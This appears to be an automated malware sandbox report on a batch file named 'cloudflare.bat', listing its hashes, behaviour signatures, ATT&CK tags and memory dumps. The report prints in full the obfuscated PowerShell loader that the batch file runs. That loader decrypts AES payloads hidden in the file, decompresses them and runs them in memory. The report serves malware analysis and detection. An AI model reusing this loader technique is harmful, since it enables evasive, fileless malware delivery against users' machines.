d09f2f0f47441da499f40328373ea30f5b2fba8f75f8d84e1df54f0d39c363e8

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
23-01-2025 19:49

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General

Target

cloudflare.bat
Size

1.6MB
MD5

d7ef2415ae2b53c9cc8d960f332b2fc2
SHA1

5ee9e9075d7eff88b9b6f6640dd23b04d3d89bf8
SHA256

d09f2f0f47441da499f40328373ea30f5b2fba8f75f8d84e1df54f0d39c363e8
SHA512

0d0b614e2f6c25408d3e35679d41dd9a96f90b54ffd373db1e5be1809d8384370baf391b0c55c6769b730d3ca319efcc052a3ebf77cf5cfb502dac66fd2489e4
SSDEEP

24576:6dbChi2BlJAy2y618+L24nMTz0ZpAsb1EwG5M1XxWMkp2b8DU+owr4SeBlKcvREH:9i2Bl+2TzZw5XMe4DU+zrSl+v

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2388	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2388	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2388	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 2388	3060	cmd.exe	31
PID 3060 wrote to memory of 2388	3060	cmd.exe	31
PID 3060 wrote to memory of 2388	3060	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\cloudflare.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8bhRsRHlVCq0oE/jC8znaXL8N3C2l4vOkUX6p5fMCBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gSWUi9Srt/hMiTUvma/Osg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bvRls=New-Object System.IO.MemoryStream(,$param_var); $PBSCt=New-Object System.IO.MemoryStream; $pTrqw=New-Object System.IO.Compression.GZipStream($bvRls, [IO.Compression.CompressionMode]::Decompress); $pTrqw.CopyTo($PBSCt); $pTrqw.Dispose(); $bvRls.Dispose(); $PBSCt.Dispose(); $PBSCt.ToArray();}function execute_function($param_var,$param2_var){ $fcAKi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $byGGF=$fcAKi.EntryPoint; $byGGF.Invoke($null, $param2_var);}$QgxHT = 'C:\Users\Admin\AppData\Local\Temp\cloudflare.bat';$host.UI.RawUI.WindowTitle = $QgxHT;$SwrfE = [type]::GetType('System.IO.File');$OHVxV = [type]::GetType('System.Environment');$bNKIC = $SwrfE::('txeTllAdaeR'[-1..-11] -join '')($QgxHT);$BVkSS = $OHVxV::NewLine;$YddQR = $bNKIC.Split($BVkSS);$uUoiG = $YddQR;foreach ($IZmUa in $uUoiG) { if ($IZmUa.StartsWith(':: ')) { $tpTzT=$IZmUa.Substring(3); break; }}$payloads_var=[string[]]$tpTzT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2388-4-0x000007FEF5E6E000-0x000007FEF5E6F000-memory.dmp

Filesize
4KB

Download
memory/2388-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2388-6-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2388-10-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2388-9-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2388-8-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2388-7-0x0000000001D30000-0x0000000001D38000-memory.dmp

Filesize
32KB

Download
memory/2388-11-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2388-12-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download